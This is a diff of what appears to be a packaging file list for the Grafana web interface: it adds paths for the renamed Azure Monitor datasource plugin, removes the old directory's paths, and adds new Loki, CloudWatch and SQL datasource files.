+%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/AdvancedMulti.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/AdvancedMulti.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/EntryIcon.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/NestedEntry.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/NestedEntry.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/NestedRow.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/NestedRow.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/ResourcePicker.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/ResourcePicker.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/Search.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/index.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/styles.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/types.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/utils.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/ResourcePicker/utils.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/Space.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/VariableEditor/GrafanaTemplateVariableFn.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/VariableEditor/VariableEditor.test.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/components/VariableEditor/VariableEditor.tsx +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/credentials.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/adx.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/appInsights.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/appInsightsGeoMap.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/arg.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/cosmosdb.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/keyvault.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/networkInsightsDashboard.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/sqldb.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/storage.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/v1Alerts.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/vMInsightsRG.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dashboards/vMInsightsWorkspace.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/dataquery.gen.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/datasource.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/datasource.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/e2e/selectors.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/grafanaTemplateVariableFns.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/grafanaTemplateVariables.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/azure_monitor_cpu.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/azure_monitor_network.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/config_1_select_type.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/config_2_azure_monitor_api_details.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/config_3_app_insights_api_details.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/config_4_save_and_test.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/contoso_loans_grafana_dashboard.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/grafana_cloud_install.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/grafana_cloud_login.png +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/img/logo.jpg +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/log_analytics/querystring_builder.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/log_analytics/querystring_builder.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/module.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/module.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/plugin.json +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/query_help.md +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/resourcePicker/resourcePickerData.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/resourcePicker/resourcePickerData.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/time_grain_converter.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/time_grain_converter.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/tracking.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/types/index.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/types/logAnalyticsMetadata.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/types/query.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/types/templateVariables.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/types/types.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/common.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/common.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/messageFromError.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/messageFromError.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/migrateAnnotation.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/migrateAnnotation.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/migrateQuery.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/migrateQuery.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/useAsyncState.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/useAsyncState.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/useLastError.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/utils/useLastError.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/variables.test.ts +%%DATADIR%%/public/app/plugins/datasource/azuremonitor/variables.ts %%DATADIR%%/public/app/plugins/datasource/cloud-monitoring/CloudMonitoringMetricFindQuery.ts %%DATADIR%%/public/app/plugins/datasource/cloud-monitoring/README.md %%DATADIR%%/public/app/plugins/datasource/cloud-monitoring/__mocks__/cloudMonitoringDatasource.ts @@ -2587,6 +2769,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/cloudwatch/__mocks__/timeRange.ts %%DATADIR%%/public/app/plugins/datasource/cloudwatch/annotationSupport.test.ts %%DATADIR%%/public/app/plugins/datasource/cloudwatch/annotationSupport.ts +%%DATADIR%%/public/app/plugins/datasource/cloudwatch/aws_url.test.ts %%DATADIR%%/public/app/plugins/datasource/cloudwatch/aws_url.ts %%DATADIR%%/public/app/plugins/datasource/cloudwatch/components/Account.test.tsx %%DATADIR%%/public/app/plugins/datasource/cloudwatch/components/Account.tsx @@ -2650,6 +2833,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/cloudwatch/dashboards/Logs.json %%DATADIR%%/public/app/plugins/datasource/cloudwatch/dashboards/RDS.json %%DATADIR%%/public/app/plugins/datasource/cloudwatch/dashboards/ec2.json +%%DATADIR%%/public/app/plugins/datasource/cloudwatch/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/cloudwatch/dataquery.gen.ts %%DATADIR%%/public/app/plugins/datasource/cloudwatch/datasource.test.ts %%DATADIR%%/public/app/plugins/datasource/cloudwatch/datasource.ts %%DATADIR%%/public/app/plugins/datasource/cloudwatch/defaultQueries.ts @@ -2813,6 +2998,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/elasticsearch/configuration/LogsConfig.tsx %%DATADIR%%/public/app/plugins/datasource/elasticsearch/configuration/mocks.ts %%DATADIR%%/public/app/plugins/datasource/elasticsearch/configuration/utils.ts +%%DATADIR%%/public/app/plugins/datasource/elasticsearch/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/elasticsearch/dataquery.gen.ts %%DATADIR%%/public/app/plugins/datasource/elasticsearch/datasource.test.ts %%DATADIR%%/public/app/plugins/datasource/elasticsearch/datasource.ts %%DATADIR%%/public/app/plugins/datasource/elasticsearch/hooks/useFields.test.tsx @@ -2834,158 +3021,6 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/elasticsearch/types.ts %%DATADIR%%/public/app/plugins/datasource/elasticsearch/utils.test.ts %%DATADIR%%/public/app/plugins/datasource/elasticsearch/utils.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/README.md -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/argResourcePickerResponse.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/datasource.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/errors.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/instanceSettings.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/panelData.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/query.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/query_ctrl.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/resourcePickerRows.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/sdk.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/utils.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/__mocks__/variables.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azureMetadata/index.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azureMetadata/logsResourceTypes.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azureMetadata/resourceTypes.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_log_analytics/__mocks__/schema.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_log_analytics/azure_log_analytics_datasource.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_log_analytics/azure_log_analytics_datasource.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_log_analytics/response_parser.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_monitor/azure_monitor_datasource.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_monitor/azure_monitor_datasource.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_monitor/response_parser.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_monitor/url_builder.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_monitor/url_builder.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_resource_graph/azure_resource_graph_datasource.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/azure_resource_graph/azure_resource_graph_datasource.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ArgQueryEditor/ArgQueryEditor.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ArgQueryEditor/ArgQueryEditor.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ArgQueryEditor/QueryField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ArgQueryEditor/index.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/AzureCredentialsForm.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/AzureCredentialsForm.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ConfigEditor.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ConfigEditor.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/DefaultSubscription.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/DefaultSubscription.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/Field.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/AdvancedResourcePicker.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/AdvancedResourcePicker.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/FormatAsField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/LogsQueryEditor.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/LogsQueryEditor.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/QueryField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/index.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/setQueryValue.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/LogsQueryEditor/useMigrations.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/AdvancedResourcePicker.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/AdvancedResourcePicker.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/AggregationField.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/AggregationField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/DimensionFields.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/DimensionFields.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/LegendFormatField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/MetricNameField.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/MetricNameField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/MetricNamespaceField.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/MetricNamespaceField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/MetricsQueryEditor.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/MetricsQueryEditor.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/TimeGrainField.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/TimeGrainField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/TopField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/dataHooks.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/dataHooks.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/setQueryValue.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MetricsQueryEditor/setQueryValue.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/MonitorConfig.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/QueryEditor/QueryEditor.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/QueryEditor/QueryEditor.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/QueryEditor/index.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/QueryEditor/usePreparedQuery.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/QueryHeader.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourceField/ResourceField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourceField/index.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/AdvancedMulti.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/AdvancedMulti.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/EntryIcon.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/NestedEntry.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/NestedEntry.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/NestedRow.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/NestedRow.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/ResourcePicker.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/ResourcePicker.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/Search.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/index.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/styles.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/types.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/utils.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/ResourcePicker/utils.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/Space.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/SubscriptionField.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/VariableEditor/GrafanaTemplateVariableFn.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/VariableEditor/VariableEditor.test.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/components/VariableEditor/VariableEditor.tsx -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/credentials.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/adx.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/appInsights.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/appInsightsGeoMap.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/arg.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/cosmosdb.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/keyvault.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/networkInsightsDashboard.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/sqldb.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/storage.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/v1Alerts.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/vMInsightsRG.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/dashboards/vMInsightsWorkspace.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/datasource.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/datasource.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/e2e/selectors.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/grafanaTemplateVariableFns.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/grafanaTemplateVariables.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/azure_monitor_cpu.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/azure_monitor_network.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/config_1_select_type.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/config_2_azure_monitor_api_details.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/config_3_app_insights_api_details.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/config_4_save_and_test.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/contoso_loans_grafana_dashboard.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/grafana_cloud_install.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/grafana_cloud_login.png -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/img/logo.jpg -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/log_analytics/querystring_builder.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/log_analytics/querystring_builder.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/module.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/module.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/plugin.json -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/query_help.md -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/resourcePicker/resourcePickerData.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/resourcePicker/resourcePickerData.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/time_grain_converter.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/time_grain_converter.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/tracking.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/types/index.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/types/logAnalyticsMetadata.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/types/query.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/types/templateVariables.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/types/types.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/common.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/common.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/messageFromError.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/messageFromError.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/migrateAnnotation.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/migrateAnnotation.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/migrateQuery.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/migrateQuery.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/useAsyncState.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/useAsyncState.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/useLastError.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/utils/useLastError.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/variables.test.ts -%%DATADIR%%/public/app/plugins/datasource/grafana-azure-monitor-datasource/variables.ts %%DATADIR%%/public/app/plugins/datasource/grafana/README.md %%DATADIR%%/public/app/plugins/datasource/grafana/components/AnnotationQueryEditor.test.tsx %%DATADIR%%/public/app/plugins/datasource/grafana/components/AnnotationQueryEditor.tsx @@ -3170,6 +3205,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/loki/components/monaco-query-field/monaco-completion-provider/situation.ts %%DATADIR%%/public/app/plugins/datasource/loki/components/monaco-query-field/monaco-completion-provider/validation.test.ts %%DATADIR%%/public/app/plugins/datasource/loki/components/monaco-query-field/monaco-completion-provider/validation.ts +%%DATADIR%%/public/app/plugins/datasource/loki/components/stats.test.ts +%%DATADIR%%/public/app/plugins/datasource/loki/components/stats.ts %%DATADIR%%/public/app/plugins/datasource/loki/components/types.ts %%DATADIR%%/public/app/plugins/datasource/loki/configuration/ConfigEditor.test.tsx %%DATADIR%%/public/app/plugins/datasource/loki/configuration/ConfigEditor.tsx @@ -3180,6 +3217,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/loki/configuration/DerivedFields.test.tsx %%DATADIR%%/public/app/plugins/datasource/loki/configuration/DerivedFields.tsx %%DATADIR%%/public/app/plugins/datasource/loki/configuration/MaxLinesField.tsx +%%DATADIR%%/public/app/plugins/datasource/loki/dataquery.cue +%%DATADIR%%/public/app/plugins/datasource/loki/dataquery.gen.ts %%DATADIR%%/public/app/plugins/datasource/loki/datasource.test.ts %%DATADIR%%/public/app/plugins/datasource/loki/datasource.ts %%DATADIR%%/public/app/plugins/datasource/loki/getDerivedFields.test.ts @@ -3193,8 +3232,12 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/loki/lineParser.ts %%DATADIR%%/public/app/plugins/datasource/loki/liveStreamsResultTransformer.test.ts %%DATADIR%%/public/app/plugins/datasource/loki/liveStreamsResultTransformer.ts +%%DATADIR%%/public/app/plugins/datasource/loki/logsTimeSplitting.test.ts +%%DATADIR%%/public/app/plugins/datasource/loki/logsTimeSplitting.ts %%DATADIR%%/public/app/plugins/datasource/loki/makeTableFrames.test.ts %%DATADIR%%/public/app/plugins/datasource/loki/makeTableFrames.ts +%%DATADIR%%/public/app/plugins/datasource/loki/metricTimeSplitting.test.ts +%%DATADIR%%/public/app/plugins/datasource/loki/metricTimeSplitting.ts %%DATADIR%%/public/app/plugins/datasource/loki/migrations/variableQueryMigrations.test.ts %%DATADIR%%/public/app/plugins/datasource/loki/migrations/variableQueryMigrations.ts %%DATADIR%%/public/app/plugins/datasource/loki/mocks.ts @@ -3205,6 +3248,8 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/loki/plugin.json %%DATADIR%%/public/app/plugins/datasource/loki/queryHints.test.ts %%DATADIR%%/public/app/plugins/datasource/loki/queryHints.ts +%%DATADIR%%/public/app/plugins/datasource/loki/querySplitting.test.ts +%%DATADIR%%/public/app/plugins/datasource/loki/querySplitting.ts %%DATADIR%%/public/app/plugins/datasource/loki/queryUtils.test.ts %%DATADIR%%/public/app/plugins/datasource/loki/queryUtils.ts %%DATADIR%%/public/app/plugins/datasource/loki/querybuilder/LokiQueryModeller.test.ts @@ -3255,6 +3300,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/mixed/README.md %%DATADIR%%/public/app/plugins/datasource/mixed/module.ts %%DATADIR%%/public/app/plugins/datasource/mixed/plugin.json +%%DATADIR%%/public/app/plugins/datasource/mssql/CheatSheet.tsx %%DATADIR%%/public/app/plugins/datasource/mssql/MSSqlMetaQuery.ts %%DATADIR%%/public/app/plugins/datasource/mssql/MSSqlQueryModel.ts %%DATADIR%%/public/app/plugins/datasource/mssql/README.md @@ -3267,6 +3313,7 @@ bin/grafana-server %%DATADIR%%/public/app/plugins/datasource/mssql/sqlCompletionProvider.ts %%DATADIR%%/public/app/plugins/datasource/mssql/sqlUtil.ts %%DATADIR%%/public/app/plugins/datasource/mssql/types.ts +%%DATADIR%%/public/app/plugins/datasource/mysql/CheatSheet.tsx %%DATADIR%%/public/app/plugins/datasource/mysql/MySqlDatasource.ts %%DATADIR%%/public/app/plugins/datasource/mysql/README.md 